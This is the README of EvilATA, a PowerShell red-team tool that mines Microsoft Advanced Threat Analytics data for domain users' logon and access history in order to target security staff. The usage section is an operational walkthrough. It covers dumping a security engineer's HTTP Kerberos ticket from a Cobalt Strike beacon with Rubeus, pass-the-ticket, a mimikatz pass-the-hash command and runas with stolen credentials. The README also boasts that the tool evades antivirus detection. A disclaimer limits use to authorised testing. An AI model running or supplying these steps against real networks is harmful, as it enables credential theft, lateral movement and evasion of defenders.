____, __ _, ____, __ ___, ____, ___,
(-|_, (-\ | (-| (-| (-|_\_,(-| (-|_\_,
_|__, \| _|__, _|__, _| ) _| _| )
( ( ( ( ( (
EvilATA 基于 Advanced-Threat-Analytics 开发,项目地址:https://github.com/microsoft/Advanced-Threat-Analytics
Advanced Threat Analytics(ATA)是微软推出的企业级域安全监测平台,通过捕获和分析 Kerberos、DNS、RPC、NTLM 等协议的流量,对内网存在的威胁进行检测和告警,其针对 Kerberos 流量中域对象可疑活动的监测及时且准确,但对于 NTLM 协议的横向移动检测能力较弱(Pth、Relay)。
ATA 有一项功能可以有效提升甲方安全人员的使用效率:即可以直接在 ATA WEB 平台查询某个域对象(域用户对象、域计算机对象、域安全组对象等)的活动时间线,什么时间做了什么,访问了谁,被谁访问,何时有何种认证行为,都非常清楚地呈现在眼前。
所以,ATA 在域内本身就是一个大型数据库,除当下域内 LDAP 的数据外,ATA 还会保存历史 LDAP 数据,对于安全人员应急溯源很有帮助。
ATA 本身提供了部分 API 接口供查询,但原始数据比较粗糙,可读性差。本项目结合 Advanced Threat Analytics 重新设计了部分 Cmd-Let,使得红蓝双方人员可通过 PowerShell 对目标域对象进行 ATA 数据查询。
EvilATA Cmd-Let:
[ok] Test-Guid
[ok] Set-ATACenter
[ok] Resolve-ATASelfSignedCert
[ok] Get-AdUserInfo
[ok] Get-AdGroupInfo
[ok] Get-AdComputerInfo
[ok] Get-AdObjectInfo
[ok] Get-AtaUserInfo
[ok] Get-AtaComputerInfo
[ok] Get-AtaGroupInfo
[ok] Get-AtaObjectInfo
[ok] Get-AdUserLogonHistory
[ok] Get-AtaComputerIpHistory
[ok] Get-AdUserAccessHistory
[ok] Get-AdComputerLogonHistory
[ok] Get-AdComputerAccessHistory
相比于上个版本,现 EvilATA 不再依赖 PowerView、Invoke-Parallel,从而避免了杀软的检测,且支持直接导入 cobaltstrike beacon 使用。
ATA Server 搭建完成后会新建三个本地安全组(🔗 https://learn.microsoft.com/zh-cn/advanced-threat-analytics/ata-role-groups):
-
- Microsoft Advanced Threat Analytics Administrators
- Microsoft Advanced Threat Analytics Users
- Microsoft Advanced Threat Analytics Viewers
通过在 ATA Server 本地组加入用户来赋予权限。
通常来说,企业的安全团队具备对于 ATA 的访问权限,可通过 OU 查询安全、运维相关团队成员发起特定攻击。
只要获取到 HTTP/ata.yourdomain.com 的 TGS 票据,即可访问 ATA(通过 443 端口)。
- ATA Center Version 1.8+
- PowerShell Version 5.1+ (Win10 default)
PS c:\> git clone https://github.com/NickYan7/EvilATA.git
PS c:\> ipmo .\EvilATA.ps1
// 每次载入 EvilATA 之后,需要首先配置你所在域的 ATA Server 域名(或者 IP)
PS c:\> Set-ATACenterURL "ata.yourdomain.com"
EvilATA 基本所有 Cmd-Let 都支持多参数查询。
Get-AdUserInfo
、Get-AdComputerInfo
、Get-AdGroupInfo
三个 cmd-let 的主要作用是通过 samaccountname 或者 objectguid 获取指定域对象的 objectguid 值,供后续其他的 cmd-let 调用。
其中,Get-AdGroupInfo
会返回 member 属性(组成员),值为 Guid 类型。
PS c:\> Get-AdUserInfo Bob, "a188a939-b559-4c5a-abc1-8d15343bb591"
Get-AtaUserInfo
、Get-AtaComputerInfo
、Get-AtaGroupInfo
均支持接受 name 或者 objectguid 类型的值作为实际参数。
指定 -Profile 参数可查询域对象的更多属性。其中域用户对象的 LogonComputerIdToTimeMapping、AccessedResourceAccountIdToTimeMapping 属性分别通过 Get-AdUserLogonHistory、Get-AdUserAccessHistory 两个 cmd-let 实现
域计算机对象的 LogonSourceAccountIdToTimeMapping、AccessedResourceAccountIdToTimeMapping 属性分别通过 Get-AdComputerLogonHistory、Get-AdComputerAccessHistory 两个 cmd-let 实现
这两个 Cmd-Let 实际参数只接受 ObjectGuid 类型的值,不接受 name 类型。
# 嵌套查询域管理员组的成员
PS c:\> (Get-AdGroupInfo "domain admins").member | %{Get-AdObjectInfo $_}
接受实际参数形式:Name、ObjectGuid。
PS c:\> Get-AtaComputerIpHistory alice-pc
IdentityRefer IPAddress AvailableDate
------------- --------- -------------
ALICE-PC 10.10.10.28 6/6/2023 5:48:21 PM
ALICE-PC 20.10.10.3 5/19/2023 9:49:29 AM
ALICE-PC 20.10.10.96 10/8/2022 9:26:57 AM
ALICE-PC 20.10.10.118 5/31/2022 8:32:41 AM
ALICE-PC 10.10.10.15 5/16/2022 6:42:57 PM
数据默认按时间倒序排序,一般第一个数据即目标域计算机的最新 IP。
# 支持多参数
PS c:\> Get-AtaComputerIpHistory alice-pc, bob-pc, steve-laptop
EvilATA 的核心功能之一。接受实际参数形式:Name、ObjectGuid。 输出的属性有:ATASamName、IdentityRefer、IPAddress、LogonComputerGUID、LogonComputerName、LogonTime
# 数据默认按时间倒序排序,越靠前的数据表示最近访问
PS c:\> Get-AdUserLogonHistory administrator
# 结合 Get-AdGroupInfo,查询域管理员组中所有成员的最近计算机登录历史
PS c:\> (Get-AdGroupInfo "domain admins").member | %{Get-AdUserLogonHistory $_} | ft -auto
# 支持多参数
PS c:\> Get-AdUserLogonHistory alice,Bob, "a188a939-b559-4c5a-abc1-8d15343bb591"
如果有的计算机没有查询到 LogonComputerName,却有 ATASamName,说明该计算机已被从域中删除。
查询域管理员组中的用户登录过的所有计算机:
EvilATA 的核心功能之一。接受实际参数形式:Name、ObjectGuid。 输出的属性有:IdentityRefer、AccessedResourceGUID、AccessedTime、AccessedResourceName、ATASamName、IPAddress。
# 数据默认按时间倒序排序,越靠前的数据表示最近访问
PS c:\> Get-AdUserAccessHistory administrator | ft -auto
EvilATA 的核心功能之一。接受实际参数形式:Name、ObjectGuid。 输出的属性有:IdentityRefer、LogonUserGuid、LogonTime、LogonUserName、ATASamName
# 数据默认按时间倒序排序,越靠前的数据表示最近访问
PS c:\> Get-AdComputerLogonHistory alice-pc, laptop-bob | ft -auto
EvilATA 的核心功能之一。接受实际参数形式:Name、ObjectGuid。 输出的属性有:IdentityRefer、AccessedResourceGUID、AccessedTime、AccessedResourceName、ATASamName、IPAddress
# 数据默认按时间倒序排序,越靠前的数据表示最近访问
PS c:\> Get-AdComputerAccessHistory alice-pc, laptop-bob | ft -auto
在已加域计算机上利用 EvilATA 比较简单,在已加域计算机上我们默认已具备域内查询权限。
1、当我们成功横移至某安全人员的计算机,首先提取其 TGS 票据
beacon> powerpick rubeus dump /service:http /user:nick /nowrap
beacon> powerpick [io.file]::WriteAllBytes("c:\users\nick\desktop\http.kirbi",[Convert]::FromBase64String("<base64-code>"))
这里的 TGS 票据需要是访问 ata.yourdomain.com 的 HTTP 票据,SPN 为 HTTP/ata.yourdomain.com。
然后在本地导入票据:
PS c:\> rubeus ptt /ticket:"c:\users\nick\desktop\http.kirbi"
PS c:\> klist
2、此时便可以通过该 HTTP 票据访问 ATA 数据:
PS c:\> ipmo .\EvilATA.ps1
PS c:\> Set-ATACenterURL "ata.yourdomain.com"
PS c:\> Get-AtaObjectInfo alice
1、首先把未加域计算机的 DNS Server 指向 Domain Controller;
2.1、如果有任意域用户的 原文口令
,则使用 RunAS
:
PS c:\> runas /netonly /user:yourdomain\nick PowerShell
2.2、如果有任意域用户的 NTLM HASH
,则使用 Pth
:
PS c:\> mimikatz "sekurlsa::pth /domain:yourdomain.com /user:nick /ntlm:<ntlm_hash>" exit
这两种方式任选一种均可拿到一个具备域用户基础凭据的 Shell。
3、载入 EvilATA 库,使用 ptt
载入安全人员的 HTTP/ata.yourdomain.com 的票据,进行利用:
PS c:\> rubeus ptt /ticket:http.kirbi
PS c:\> ipmo .\EvilATA.ps1
PS c:\> Set-ATACenterURL "ata.yourdomain.com"
本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
为避免被恶意使用,本项目所有收录的 POC 均为理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
在安装并使用本工具前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。